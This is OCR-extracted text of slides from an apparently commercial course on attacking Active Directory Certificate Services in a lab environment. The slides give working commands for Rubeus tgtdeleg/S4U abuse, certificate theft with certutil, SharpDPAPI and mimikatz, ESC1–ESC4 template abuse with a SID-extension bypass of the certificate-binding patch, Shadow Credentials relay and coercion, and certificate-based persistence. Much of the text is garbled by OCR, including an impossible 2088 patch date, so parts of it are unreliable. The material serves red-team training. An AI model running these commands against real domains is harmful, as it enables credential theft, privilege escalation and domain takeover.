https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/e563cff8-1af6-4e6f-a655-7571ca482e71
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/e563cff8-1af6-4e6f-a655-7571ca482e71

AD CS PatcheCBA patch

A The CBA patch hinders SubjéttNameabuses such as ESC1, ESC2, ESC3 and bre
CA Configuration abuses like ESC6, ESC9, ESC10.

A Before the Full Enforcement patch date (Nov 14, 2088 now available as OOB
update) the "StrongCertificateBindingEnforcemeritgy value in the
"HKEY_LOCAL_MACHINESYSTEM CurrentControlSet  \ Services \ Kdc" Registry Subkey
can be altered in 3 states to s€ertificatebased Authentication checks.

7 Disabled: 0g> SID Mapping checks are disabled.

T Compatibility: 1¢> szOID_NTDS_CA_SECURITYs EXdcked andalidated if present, but if a
strong mapping is not present authenticatican still proceed but will be logged.

T Full Enforcement Mode: 2> strong SID mapping requirements in clieattificates, and if not
present authentication fails and will be logged.
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Out-Of-Band Updatehttps://support.microsoft.com/engb/topic/may-10-2022-
kb50139440s-build-20348707-05509703187a4d5b-97f5-8793dbb22991



https://support.microsoft.com/en-gb/topic/may-10-2022-kb5013944-os-build-20348-707-05509703-187a-4d5b-97f5-8793dbb22991
https://support.microsoft.com/en-gb/topic/may-10-2022-kb5013944-os-build-20348-707-05509703-187a-4d5b-97f5-8793dbb22991

AD CS PatcheCBA patch

A An example of setting this patch in Full Enforcement Mof®) for strict mapping
checks is as follows (configured in lab).

Registry Editor
File Edit View Favorites Help

Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc

Indirectkmd
inetaccs
Inetinfo
InstallService
intelide
intelpep
IntelPMT
intelppm
iorate
IpFitterDriver
iphlpsve
IPMIDRV
IPHAT

IPT

~ || Name Type Data
5] (Default) REG_SZ (value not set)
V| DependOnService REG_MULT_SZ RpcSs Afd NTDS
5] Description REG_SZ @%SystemRoot%\System32\kdcsve.dil,-2
ab|DisplayName ~ REG_SZ @®%SystemRoot %\ System 32\ kdesve.dll,-1
#|ErrorControl REG_DWORD 0x00000001 (1)
5] Group REG_SZ MS_WindowsRemoteValidation
2b]ImagePath REG_EXPAND SZ  %SystemRoot%\System32\lsass.exe
ab] ObjectMame REG_SZ LacalSystem
4 Start REG_DWORD 0xDODDOOOZ (2)
trongCertificat... REG_DWORD 0% 00000002 (2)
4] Type REG_DWORD 0xD00DD020 (32)

AlteredSecurity
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AD CS PatcheCBA patch

A The CBA patch creates the shown "System events" when in Full Enforcement Mog

EVENT IC EVENT Type EVENT Sourct EVENT Description

39 Error System No strong mappingNo strong certificate mappings
could be found because the certificate did not have
the new security identifier (SID) extension that the
KDC could validate.

40 Error System Certificate predates accouniThe certificate was
issued to the user before the user existed in Active
Directory and no strong mapping could be found.

41 Error System User and Certificate SID do not matchhe SID
contained in the new extension of the user's
certificate does not match the users SID, implying t
the certificate was issued to another user.

For Server 2008 CorrespondiBgentiDsre:
39¢41
40¢ 48
41-49



AD CS PatcheCBA patch

A An example of a failed ESC1 exploitation attempt with the CBA patch enabled
(without a prior bypass) results in the Event ID 39 as showcased below.

EventlD Task Ce.
T3 None
39 None
TRE_None

Event 33, Kerberos-Key-Distribution-Center

General | Details

[The Key Distribution Center (KDC) encountered o user certificate that wes valid but could not be mappedtoa userina
icates should either be replaced or mapped directly to the user v
to leam more.

e wey (such s vio explict
mepping. See

ser: Administrator

cate Subject: @@BCN=protecteduses, CH=User
e Issuer: CBP-CA

sial Number: 62000000038674FSCCB1EFCA43000000000003

e Thumbprint: 390003C3AB4F0ICE4C04DBIDGCEFCADEAR3I2669

s DC=protectedch, DC=com
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AD CS PatchesBypassing the CBA patch

A 1t is possible to bypass the Certificdiased Authentication patch in its Compatibility
(1)/Disabled (0) mode without any changes to our exploitation steps since if a stron
mapping is not present authentication can still proceed in these modes, however

Event logs will still be generated.

A When theCertificatebased Authentication patch is in its Full Enforcement Mode (2)
0KS Y5/ @Attt NBE2SOG Ittt OSNIATAOIGSA
generate appropriate Event IDs.

A In Full Enforcement many AD CS exploitation techniques break such as
ESC6/ESC9/ESC10. However, for techniques like ESC1/ESC2/ESCS3 there are byp

that exist.
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AD CS PatchesBypassing the CBA patch

A{AyOS (KS /! Rs28H NTDE_CH ISECURITGIEEKE NS
value, rather blindly copies the extension value from the Certificate Request to the
Issued Certificate, it is possible to use tools or manually craft a custom SID extensi
supplied in request that can cause identity impersonation and privilege escalation.

A Itis possible to perform this using tools like Certifsidextension ) andCertipy(-
extensionsid ). This technique will be used for most abuses in the lab (ESC1, ESC]

ESC&tc) to bypass the CBA paitch.

A To manually perform this and understand the crafting process in detail there is a
blog byelkementalForce:https://elkement.blog/2023/03/30/lordof-the-sid-how-
to-add-the-objectsidattribute-to-a-certificate manually/

AlteredSecurity AD CS Attacks © Altered Security All rights reserved 70

SpecterOpslog detailing how CBA patches affect AD CS atdevays to
circumvent it https://posts.specterops.io/certificateandpwnageand-patchesoh-

my-8ae0f4304cld



https://elkement.blog/2023/03/30/lord-of-the-sid-how-to-add-the-objectsid-attribute-to-a-certificate-manually/
https://elkement.blog/2023/03/30/lord-of-the-sid-how-to-add-the-objectsid-attribute-to-a-certificate-manually/
https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d
https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d

AD CS Patchedssues with the CBA patch

A A major issue introduced with this patch is while incorporating Offline Templates.

A In FullEnforcement modecertificatesissued using Network Device Enroliment
Service (E.g. Microsoft Intune) to nrdomain joined devices will be rejected by the
KDC. This because platformike Intune use Offline Templates with NDES and the
CA is not able to perform target account retrieval to add the new SID extension in

the client certificate.
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AD CS PatchesADCSSIDExtensioAPolicyModule

PKISolutionseleased a Policy Module for ADCS:

1.Stops Usecrafted SID extension bypass

¢ Define custom rules when identity retrieval is performed. Only requests that
match configuration will be processed by policy module.

¢ Define a custom action when incoming request contains potentially
fraudulent SID extension.
2.Fixes issues with Offline Templates

¢ Policy module can automatically retrieve target identity account and include
SID extension in certificate requested through NDES.
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PKISolutionblog: https://www.pkisolutions.com/adcssid-extensionpolicymodule-
is-live/

PKISolution&ithubProject:https://github.com/PKISolutions/ADES DExtension
PolicyModule



https://github.com/PKISolutions/ADCS-SID-Extension-Policy-Module
https://github.com/PKISolutions/ADCS-SID-Extension-Policy-Module

Module 5: AD C&numeration




The Lab Environment

A We target the AD CS environment of a fictitious Certification Authority called
EertBull) ®

A CertBulkuses AD CS and other certificate services in their infrastructure in multiple
forests across departments. It has
i Fully patched Server 2022 machines.
i Server 2016 Forest Functional Level (There is nothing called Server 2022 Forest Functional Lev

i Enterprise AD CS configuration, use of certificates for user and machine authentication, SSH, VH
Code Signing, Encryption etc.

i Multiple forests and multiple domains.

A On student machines, you can find all the tools MADCS directory. It is exempted
from Windows Defender.

A Access the lab environment using the lab portaitps://adcs.enterprisesecurity.io/
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The Lab Environment




AD C& Enumeration

A As a normal domain user, we can enumerate for presence of AD CS in the target
environment.

# Look for AD CS containers using the AD Module
GetADObjectFilter *-SearchBas€N=Certificatioduthorities,CkPublic Key
Services,ChEervices,CConfiguration,D&b,DGcorpQ

Is 'ADYCN=Certificatiouthorities, CNPublic Key

Services,ChEervices,ChConfiguration,D&b,DGcorp

# Based o®bjectClass
GetADObjectLDAPFilte(objectclasscertificationAuthority)' -SearchBase
'CN=Configuration,D&b,DGcorp' | fl *
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A Using Certify

# Enumerate CA
Certify.execas

# Find Templates
Certify.exe find

A We cover technique specific enumeration as and when required.

AlteredSecurity

AD C& Enumeration
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Module 6: AD C&ocalPrivilege Escalation
(CertPotatg




AD CS LocBRrrivesa; CertPotato

A Virtual accounts (likepppool \ defaultapppool ) are used by services on a
Windows machine. These are local managed service accounts.

A 1f domain authentication is required by the service using a virtual account,
the machine account will be used for authentication.

A This is what the CertPotato vulnerability primarily preys on, that is to abuse virtual
accounts to gain a machine account context.

A This can be abused using ttigdelegtrick to obtain a useful TGT to request a
certificate as thenachine account.
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SensePostertPotatoBlog:https://sensepost.com/blog/2022/certpotatausingadcs
to-privescfrom-virtual-and-network-serviceaccountsto-locatsystem/




AD CS LocBRrrivesa; CertPotato

A We can request a TGT for the machine account without needing admin rights using
the tgtdelegtrick.

A With the TGT, we can retrieve the machiacount hash usingnPA@he-Hash or
perform an S4U2Self attack to escalate privileges.

A Below is a sample command abusibertPotatoto privilege escalate from virtual

accounts to administrative privileges using the S4U2Self Attack.
# PerformigtdelegAttack to geta TGT
Rubeus.exégtdeleg/nowrap

# Perform S4U2Self Attack to gain CIFS admin access
Rubeus.exe s4u /selimipersonateuser:Administratdialtservice:cificb-webappl.certbulk.cb.corp)
/dc:cbdc.certbulk.cb.corpuser:'cb-webappl$' /rc4:B2FCBA1C3570AB9418994799B9BCHB5A
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tgtdelegattack: https://twitter.com/gentilkiwi/status/998219775485661184
https://github.com/GhostPack/Rubeus/#tgtdeleg



https://twitter.com/gentilkiwi/status/998219775485661184

Learning Objectivel

A Compromisehe webapplication orch- webappi .

A Privilege Escalate usiprtPotatoto gain admin access @h- webappl .

Topics Covered Initial Access, Local Privilege Escalatioeri{Potat)
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Module 7: AD C3heft (THEFT1) and
LocalPersistence (PERSIST1)




AD C3heftc Export certs usin@ryptoAPIs
(THEFT1)

A Itis possible to export user/machine certificates from the Windows Certificate
Manager if the user has appropriate privilegége can accomplish
this interactivelyor usingCrypto WINAPISTHEFT1).

A Once a user/computer certificate is extracted we can exfiltrate the certificate and
reuse it to Pasthe-Cert and authenticate to Active Directory.

A Certificates can be exported ingeny.ceror .pfx format. Usually when exportinas
a pfx, there are two methods to protect the certificateédAD
Principalsor passwords.
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AD C3heftc Export certs usin@ryptoAPIs
(THEFT1)

A If the certificate is password protected, it could be vulnerable to brute
force/password guessing attacks.

A l1tis possible tdist and exportertificates from the WindowE€ertstoreusing builtin
tools likeCertUtil built-in PowerShell Cmdlets amdternal tools like
CertStealerCertifyKit An example usinGertUtilis as follows:

# List certificates In Computer Store
certutil -store My

# Exporipfx certificate using serial from Computer Store
certutil -p 'PasswOrd*exportpfx3000000009ab1d2a9f137564390000000000
Clwindows temp\studentadmin.pfx
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AD CS Local Persistergddser Account (PERSIST1)

A A certificate remains valid even if the target user account password is changed.

A 1If we compromise a user who has enroliment rights to an AD CS template that has
the Client Authentication EKehabled, we can request and use a certificate that will
be valid until the expiry specified in the template.

A An example command to request such a certificate to maintain User Persistence
using Certify is as follows:

Certify.exe requestda:chca.cb.corpCBCA template:User user:studentadmi
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Learning Objective2

A Steal a certificate from the Machir@ertStor(THEFT1) otb- webappl .

A Use this certificate to Privilege Escalate on your footlgaitl- wsx and oncb -
webappl .

A Maintain User Account Persistence (PERSISE&task \ studentadmin  from
cb- wsX.

Topics Covered Local Privilege Escalation, Theft and Collection (THEFT1), Local Persistence (PERSIS
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Module 8: AD CS Priviledgescalation (Shadow
Credentials)




AD C®rivesa; WHIB

AG2AyR2ga 1 Stft2 FT2NJ . dzAAySaafacB LI | OSa
authentication on devices. This authentication consists of a type of user credential
UKFad Aa&a UASR 02 | RSUAOS |YyR dzaSa | (@

A HowWHfBworks:

T On enroliment, TPM (Trusted Platform Model) firstly generates a prpabtic key pair for the
user's account and then stores the public key in a new Key Credential object calledD$
KeyCredentialLin&ttribute of the account.

T The private key is protected by a PIN, which Windows Hello allows replacing with a biometric
authentication factor, such as fingerprint or face recognition.

T Windows uses this private key to perform PKINIT authentication where validation occurs when
iKS 5/ OFly RSONRBLII GKS NJnisDKEorédanGalLindréoutd INS a

T Once preauthentication is successful, the Domain Controller can exchange a session using one

of the supported methods.
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https://learn.microsoft.com/erus/windows/security/identityprotection/hello-for-
business/helleoverview
https://posts.specterops.io/shadowredentialsabusingkey-trust-accountmapping
for-takeover8eela53566ab

https://learn.microsoft.com/enus/openspecs/windows_protocols/mgac/2f9cae55

350a423ea6921d16659e544a



AD C®rivesa; WHIB

CLIENT
I
I Pre-authentication data containing the client’s public key and a h
: timestamp encrypted with the client’s private key 1
1 1
! i
! 1
! ]
I
1 AS-REQ J
r ”
' i
: 1 Public key verification
H | against msDS-KeyCredentialink
1 I
. ]
' i
! 1
: | Timestamp decryption and
H 1 verification
H ¥
| ]
I
: i
| i
v AS-REP H
[ 1
h 1
! i
: AS-REP containing a TGT and session key ]
I 1
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AD C®rivesa; WHIB

A If the client needs NTLM auth, it can @
request a U2U (User to User) service tic usER e ASREQ
that contains their NTLM hash in the
NTLM_SUPPLMENTAL_CREDENTIAL e
structure in PAC_CREDENTIAL_INFO — R — Tl

structure in Privileged Attribute Certificat
(PAC) within the service ticket.

TGS-REP (USER TO USER)
Request for a Service Ticket

A This is whaty/nPA@he-Hash is!

TGS - REP
includes Service Ticket response

58 service Ticket contains PAC_CREDENTIAL_INFO
2] (encrypted using Session Key) and can now be decrypted

1. Decrypt Service Ticket with Session Key
2 Extract PAC

3. Extract PAC_CREDENTIAL_INFO

4 Extract NT and LM hashes
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AD C®rivesa; Shadow Credentials Abuse

A If an attacker has control over a user or machine account
(GenericAllGenericWritg it can be abused to compromise the target by
addingShadow Credentials.

A This is done by adding Key Credentials tortte®SKeyCredentialLinéttribute of
the target object.

A This would allow us to request a TGT and also the NTLM bastAETheHash)
for the target user or machine account.

A Shadow Credentiaksiso serves as a good persistence mechanism $iese
credentials would persist even if the user/computer change their password.
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Elad Shamir's blog showcasing Shadow Credential
abuse:https://posts.specterops.io/shadoweredentialsabusingkey-trust-account
mappingfor-takeover8eelas53566ab



https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
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AD C®rivesa; Shadow Credentials Abuse

A Whisker https://github.com/eladshamir/Whiskeéraids red teams to abuse Shadow
Credentials using thensDSKeyCredentialLin&ttribute in red team operations.

A This tool generates a certificate and an asymmetric key and stores them in the
msDSKeyCredentialLinéttribute. The generated certificate could be used with
Rubeus in order to request a TGT for the target.

A A sample command to add this misconfiguration using Whisker is as follows:

Whisker.exe addtarget:cb-store$ /domain:certbulk.cb.corpdc:cbdc.certbulk.cb.corp)

/path:'C\certs.cb-webappl_shadow.pfx' /password: 'PasswOrd!'
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Whiskergithub: https://github.com/eladshamir/Whisker
Python version of WhiskeyPyWhiskter
github: https://github.com/ShutdownRepo/pywhisker
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https://github.com/ShutdownRepo/pywhisker

AD C®rivesa; Shadow Credentials Abuse

A Additionally, this attack can also be carried out in a-domain joined Linux
machine using coerced authentication andtbmrelayxmodule called-shadow
credentials A sample command to do this is as follows:

# Setup Listener
ntimrelayx.py-t Idap://cb-ca.cb.corp-shadowcredentials-shadowtarget cb-a (i 2 NB b Q

# CoercéAuthenticationusingnew methods
Coercer.py coercé cb-ws.certbulk.cb.corpt cb-store.certbulk.cb.corpu studentx-p ‘lamtheF!rstStud3nt#d
certbulk.cb.corpv -ilter-method-name 'EfsRpcDuplicateEncryptioninfoFile

A Shadow Credentials is an alternativeRasswordResgKerberoastingind RBCD (all
needGenericWrite.

A However, Shadow Credentials abuse does result in events which can be used for
telemetry/detection.
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Telemetry/Detection of Shadow Credentials
https://cyberstoph.org/posts/2022/03/detectinegshadowcredentials/



https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/

Learning Objective3

A Usingcertoulk  \ cb- webapp1$ privileges, abus&hadow Credentials to compromise

cb-store and gain admin access to it.

Topics Covered Privilege Escalation (Shadow Credentials)
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Module 9: AD CS Theft (THEFT4)




AD CS TheftFinding certs on disk (THEFT4)

A It is possible that certificates and their associated private keys are foun(
on disk (not just in certificate stores) due to careless handling of such

sensitive files.

A To search for such files, we target recursively searching for common
certificate file extensions on disk.

A We can use manual PowerShell and CMD search queries or use tools
such as Seatbelt to automate the searching process to save time.

AlteredSecurity AD CS Attacks © Altered Security All rights reserved 96

PowerShell and CMD queries to find certificate

files: https://superuser.com/questions/1459190/powershamdfind-fileswith-a-
certainextensionexcludingerror-messagesr

SeatbeltGithuh https://github.com/GhostPack/Seatbelt



https://superuser.com/questions/1459190/powershell-cmd-find-files-with-a-certain-extension-excluding-error-messages-fr
https://superuser.com/questions/1459190/powershell-cmd-find-files-with-a-certain-extension-excluding-error-messages-fr
https://github.com/GhostPack/Seatbelt

AD CS TheftFinding certs on disk (THEFT4)

A We can enumerate for the following critical extensions that may help us find and
compromise certificates/private keys on disk.
T .key:Contains just the private key
T .crt/.cer. Contains just the certificate
T .csr. Certificate signing request file. This does not contain certificates or keys
T .jksl.keystore/.keys: Java Keystore. May contain certs + private keys used by Java applications
T .pem: Contains certificate and associated private key (unprotected)
T .pfx/.p12: Contains certificate and associated private key (protected)

A An example PowerShell query to search for such certificate files recursively based
files extension is shown below.

GetChildltemC\ -include (*pem, *.pfxX, *.p12', *.crt', "*.cer, "*.key') -recurse-erroraction'silentlycontinue
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OpenVPN

A OpenVPN is an open source VPN project that provides server, client ar]
tunneling protocol for setting up VPN.

A OpenVPN is widely used in Enterprise environments as a standalone
server or as a part of appliances.

A Users can use config files\pnextension on Windows) that can be
used withopenvpnclient to connect securely to a server.
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https://openvpn.net/community/

Sample client config
https://github.com/OpenVPN/openvpn/blob/master/sample/sampt®nfig

files/client.conf



OpenVPN Abuse

A ovpnfile could be of much interest as they may contain Private key of a
client to provide passworkess experience (server configuration must
support that).

A With access to any such config file, we can connect to a protected or a
private network.

A Look forovpnfiles in %USERPROFILE%/OpenVPN/Config and
%PROGRAMFILES%/OpenVPN/Config directories.
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Learning Objective4d

A Search focertificate files on disk afb- store  (THEFT4).

A Gain access to theotectedcb.corp forest byusing the VPN certificate and
configuration found orch-store.

Topics Covered Theft and Collection (THEFT4)
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Module 10: AD CS Domain Privilegscalation
(ESC1)




AD CS Domain PrivesModified SAN (ESC1)

A We can escalate to higher domain privileges using ESC1 when the following
conditions are present on a template:
i Smart Card Logoa> 1.3.6.1.4.1.311.20.2/PKINIT authentication-> 1.3.6.1.5.2.3.AClient
Authentication--> 1.3.6.1.5.5.7.3.EKU is enabled for AD Authentication.
T Enrollment Rightsare enabled for a user that we control.

T ENROLLEE_SUPPLIES_SUBtiHlRife is enabledallows the certificate requestor tepecify
anysubjectAltNamegSAN) to request a certificate as any user including a Doondtnterprise
Administrator.

A Target that user(s) that are required to complete goals of your operation or
assessment. Domain Admin logons are more susceptible to detection.
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AD CS Domain Prives&SC1 + CBA Patch Bypass

A Because of the CBA patch in Full Enforcement mode in the lab, when a request for
ENROLLEE_SUPPLIES_SUBJECT certificate for an alternate user is made, the Sl
within the szOID_NTDS_CA_SECURIT¥xEEXEion is checked against the SID of

the target user.

A Standard ESC1 abuse would break if there is no match with the SID of the target
user.
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AD CS Domain Prives&SC1 + CBA Patch Bypass

A Certify has incorporated a specific Pull Request with #igektensiorargument,
and Certipytoo has a Pull Request implementing textensionsicargument.

A These versions of Certif@ertipybuild theszOID_NTDS_CA_SECURITY_EXT
extension with a supplied SID to include it with a certificate request for a template
with ENROLLEE_SUPPLIES_SUBJECT flag enabled.

A An example to abuse ESC1 bypassing the CBA patch using Certify is as follows:

Certify.exe requestda:cbpdc.protectedcb.corpCBPCA template:ProtectedUserAccessltname:administrator

/sidextension: S1-5-21-1286082176882298176404569034500 /domain:protectedch.corp
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Certify kidextensiorPR

Github: https://github.com/GhostPack/Certify/commit/71636c435f2e5e7d8d077015
4464f44da356ca42

Certipy-extensionsid®RGithubx https://github.com/RazzburyPi/Certipy



https://github.com/GhostPack/Certify/commit/71636c435f2e5e7d8d0770154464f44da356ca42
https://github.com/GhostPack/Certify/commit/71636c435f2e5e7d8d0770154464f44da356ca42
https://github.com/RazzburyPi/Certipy

Learning Objective5

A Gain Domain User accesspasectedch \ protecteduser  to protectedcb.corp

A Exploit ESC1 and compromise thetectedcb.corp domain.

Topics Covered Domain Privilege Escalation (ESC1)
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Module 11: AD CS Domain Privilegscalation
(ESC2) and Local Persistence (PERSIST?3)




ADCS DomaiRrivesa; Modifiable SAN (ESC?2)

A ESC2 is very similar to the ESC1 abuse in which the following conditions must be n
on a template:
T Any Purpose EKY> 2.5.29.37.®r no EKUsisenabled for AD Authentication.
T Enrollment Rightsare enabled for a user that we control.
T ENROLLEE_SUPPLIES_SUBJECT aifribnébled.

A The only difference between ESC1 and ESC?2 is the difference in EKUs.

A The Any Purpose EKU primarily allows an attacker to get a certificate for any
purpose like Client Authentication, Server Authentication, Code Signing, etc.
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ADCS DomaiRrivesa; Modifiable SAN (ESC?2)

A A certificate with no EKUSG(bCAOS NI A FA OGS0 OFy 6S | 6dj
It could also be used to sign new certificates.

A An example to abuse ESC2 (Any Purpose EKU) bypassing the CBA patch using C¢
is as follows:

Certify.exe requestda:cbpdc.protectedcb.corpCBPCA /template:Substitute ProtectedUserAccess

/altname:administrator /sidextension:$-5-21-1286082176882298176404569034500
/domain:protectedch.corp
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AD CS Local Persisterrc€ertificate Renewal
(PERSIST?3)

A We can renew compromised/requested certificates before they expire. Note the
Validity Period of a certificate!

A This can function as an extended persistence approach that prevents additional
ticket enroliments from being requested, which leave additional artifacts on the CA
server.
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AD CS Local Persisterrc€ertificate Renewal
(PERSIST?3)

A An example to renew a certificate usingrtrequsing its Serial Number is as follows:

certreg-enroll-user-q -PolicyServet -cert 620000001238d3cbef14353a19000000000012 rereasekeys

A An example to renew a certificate agenerate a new keysingcertreqwith its
Serial Number is as follows:

certreg-enroll-user-q -cert 620000001238d3cbef14353a19000000000012 re
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Learning Objective6

A Use Domain User accesspasectedch \ protecteduser  to exploit ESC2 and
compromise theprotectedch.corp forest.

A Renew the ESC2 certificate (due to expire seaised to compromise the
protectedcb.corp forest -to maintain Local and Domain Persistence.

Topics Covered Domain Privilege Escalation (ESC2), Persistence (PERSIST3)
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Module 12: AD CS Theft (THEFT2
and THEFT3)




AD CS Theft Data Protection Application
Programming Interface (DPAPI)

A Data Protection API (DPAPI) provides the means for encrypting and decrypting
(CryptProtectDat§ andCryptUnprotectDat§) data blobs using cryptographic keys
associated with user or computer accounts.

A DPAPI is useful protecting data like Browser Cookies, Login Data, Windows
Credential Manager, Vault and certificates/private keys.

A DPAPI is also used to protect certificate private keys. Different storage locations are
used for user and machine private keys.
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CryptProtectDat§ MSDNhttps://docs.microsoft.com/en
us/windows/desktop/api/dpapi/nfdpaptcryptprotectdata
CryptUnprotectDat§ MSDNhttps://docs.microsoft.com/en
us/windows/desktop/api/dpapi/nfdpaptcryptunprotectdata



https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptprotectdata
https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptprotectdata
https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata
https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata

AD CS Thet User Certificate Theft with DPAPI
(THEFT?2)

A To obtain a user certificate and its private key using DPAPI manually, we need to:
ial L) KS GFNBSG OSNIAFAOFIGS Ay GKS dzaSNRa Of
T Find and Extract thBPAPmasterkeyneeded to decrypt the associated private key.
i Combine the private key and certificate topix to use for domairauthentication.

A Some useful registry entries to note for user certificates and private keys are:

i Certificates:HKEY_CURRENT_USEBOFTWAREMicrosoft \ SystemCertificates :
%APPDATAMicrosoft \ SystemCertificates \ M\ Certificates \

T Private Keys:9APPDATAYMicrosoft \ Crypto \ RSA <User SID> \
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AD CS Thet User Certificate Theft with DPAPI
(THEFT?2)

A To obtain a specific DPAR&sterkeyin plaintext (usingnimikat? we can perform

one of the following:
1. hyS gl& (G2 R2 (GKA&a Aa dzaAy3d | R2YIFLAYyQa 5t!
dza SrhiBierkeyfile. If an adversary obtains domain admin (or equivalent) privileges, the
domain backup key can be stolen and used to decrypt any domaimmassterkeyin plaintext.

2. Another way is to decrypt thmasterkeyusing the corresponding user's password.

A An example command to ugharpDPAR® decrypt discoverablenasterkeysusing
the domain backup key is as follows:

SharpDPAPI.exe certificates /pvk:HVL1sAAAAAAXAAAAAAAAAAAAA
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SharpDPARBithubr https://github.com/GhostPack/SharpDPAPI
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AD CS The Machine Certificate Theft with DPAPI
(THEFT3)

A This is like THEFT2 except that we target the Machine certificate store. We cannot
use the domain DPAPI backup key to decrypt Machine Keys.

A We need to use th®PAPI_SYSTEM LSA sexréhe target machine which is
accessible only to the SYSTEM user.

A Some useful registry entries to note for Machine certificates and privatedweys

T Certificates:HKEY_LOCAL_MACHINESOFTWAREMicrosoft \ SystemCertificates
%APPDATAMicrosoft \ Crypto \ RSA MachineKeys

T Private Keys%APPDATAMicrosoft\ Cryptd RSAMachineKeys
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AD CS The Machine Certificate Theft with DPAPI
(THEFT3)
A An example command for extracting Machine certificate abusing DPAPI (using

mimikat) is as follows:

Isadump:secrets

crypto::certificates /export dystemstore:LOCAL_MACHI

A To perform the same automatically usiByarpDPARVe can use the following
command:

SharpDPAPI.exe certificates /mac
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Learning Objective7

A Oncb-store , steal a certificate from a User Certificate Store using DPAPI (THEFT3

Topics Covered Theft and Collection (THEFT3)

AlteredSecurity
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Module 13: AD CS Domain Privilegscalation
(ESC4) and Local Persistence (PERSIST2)




AD CS Domain Prives¥ulnerable Certificate
Template ACEs (ESCA4)

A Like so many other things in Windows world, certificate templates are securable
objects- they have ACLs.

A A certificate template that has overly permissive ACLs can be abused to modify
security settings of the template to introduce misconfigurations like ESC1, ESC2,
ESC3 ete.this is ESCA4!

A The following rights are critical to abuse:
T Owner- Full Control
i FullControl- Full Control
T WriteOwner - Modify Owner for grant Full Control
I WriteDacl- Modify access control for grant F@bntrol
i WriteProperty - Edit any properties
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Microsoft Blog discussing ACL righii$ps://devblogs.microsoft.com/powershell
community/understandineget-actand-ad-drive-output/

Page 62 https://specterops.io/wpcontent/uploads/sites/3/2022/06/Certified_Pre
Owned.pdf
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AD CS Domain Prives¥ulnerable Certificate
Template ACEs (ESCA4)

A If we havewritePropertyor equivalent privileges over a template, some example
commands to configure the ESC1 vulnerability over it uStagdin

T ENROLLEE_SUPPLIES_SUBJECT:

Standin_v13 Net45.exeADCS-filter SecureUpdate-ess--add

i CertificateEnrollment Permission:

Standin_v13_Net45.exeADCSHilter SecureUpdate-ntaccount

"cb\domain users*-enroll --add

i Client Authentication EKU:

Standin_v13_Net45.exeADCSHilter SecureUpdate-clientauth--add
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StandInGithubr https://github.com/FuzzySecurity/StandIn
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AD CS Domain Privesébusing ESC4 with
SmartCardLogoBKU

A We can also abuse ESC4 using a few other EKUs other than the Client Authenticat
EKU.
i Smart Card Logon (OID: 1.3.6.1.4.1.311.20.2.2)
i PKINIT Client Authentication (OID: 1.3.6.1.5.2.3.4)
i Any Purpose (OID: 2.5.29.37.0)
i No EKU

A By configuring th&mart Card Logon EKU, we can impersonate any usawoling
for asmartcard logon certificatéor that user.

A If smartcards are ndh used in the target environment, we can uggual
smartcardgo authenticate.
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AD CS Domain Privesébusing ESC4 with
SmartCardLogoBKU

A We can use th&martCardLogoEKUo abuse ESC1, ESC2, ESC3 efc.

A Standlnand Certipyonly allows adding the Client Authentication EKU for ESC1
abuse.

A An example foSmartCardLogoESC4 Abuse usihgS NIi A/dited Y dpfioQi& as
follows:

CertifyKit.exe requesta:cbca.ch.corpCBCA /template:SecureUpdate althame:administrato

/domain:cb.corpgalter /sidextension:S1-5-21-29282960331822922359262865665500
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CertifyKitgithub: https://github.com/Hagrid29/CertifyKit
PoshADCS&ithub: https://github.com/cfalta/PoshAD CS
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AD CS Local Persisterrdelachine Account
(PERSIST2)

A With SYSTEM rights on a domain joined machine and enroliment rights to a
certificate template with Client Authentication EKU, we can request a certificate for
the machine account that will be valid even if there is a password change, system
wipe etc.

A An example command to request a machine certificate using Certify is as follows:
Certify.exe requestda:chca.ch.corpCBCA template:DomainControlleimaching

A DC account can be targeted after priv escalation, since with its privilegedst
possible toDCSynor perform aS4U2Self attacdlo ultimately compromise the
entire domain.
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Learning Objective8

A Find a template vulnerable to alteration (ESC4) byctheertstore  user..
A Use this template to gain DA privileges.

A Use this vulnerable template to maintain Machine Account Persistence (PERSIST2

Topics Covered Domain Privilege Escalation (ESC4), Local Persistence (PERSIST2)
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Learning Objective9

A Abuse the previously enumeratestcureUpdate  template to gain EA privileges

using theSmartCardLogoBKU

Topics Covered Domain Privilege Escalation (ESC4)
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Module 14: AD CS Domain Privilegscalation
(ESC3)




AD CS Domain Priveségent Certificate £nrollon
Behalf of Another User (ESC3)

For ESC3 we require 2 certificate templates with the following configuration:

A Template 1: Provides Enrollment Agent Certificate
i Certificate Request Agent EKt» 1.3.6.1.4.1.311.20.2.i enabled.
i Enrollment Rightsre enabled for a user that we control.

A Template 2: Allows Enroliment Agent Certificate to usévehalfof
T Client Authentication EKU> 1.3.6.1.5.5.7.3.% enabled.

T Application Policy Issuance Requirementith Authorized SignaturefRRequiredenabledand set
to 1 along withCertificate Request AgeBiKUenabled.

i Enrollment Rightsare enabled for a user that we control.
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AD CS Domain Priveségent Certificate £nrollon
Behalf of Another User (ESC3)

A The Certificate Request Agent E&{aEnrollmentAgentallows a principal to
request a certificaton behalf ofanother user.

A We can enroll in such a template that has the Certificate Request AgerseEKU
(Template 1) to receive danrollment Agent Certificate.

Certify.exe requestda:cbca.ch.corpCBCA template:StoreDataRecove#gent/ user:certstore

/domain:ch.corp

A Use the Enroliment Agent certificate émroll in a template (Template 2 behalf
of another user:

Certify.exe requestda:chca.cb.corpCBCA template: StoreDataRecovergnbehalfof:certbulkadministrator

/enrollcert'Ccerts esc3enrolimentAgent.pfx' /enrollicertpw:'PasswOrddémain:certbulk.cb.corp
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Learning Objectivel0

A OncB ca enumerate two templates vulnerable the Agent Certificate + Enroll on
Behalf of Another User (ES@8])nerability.

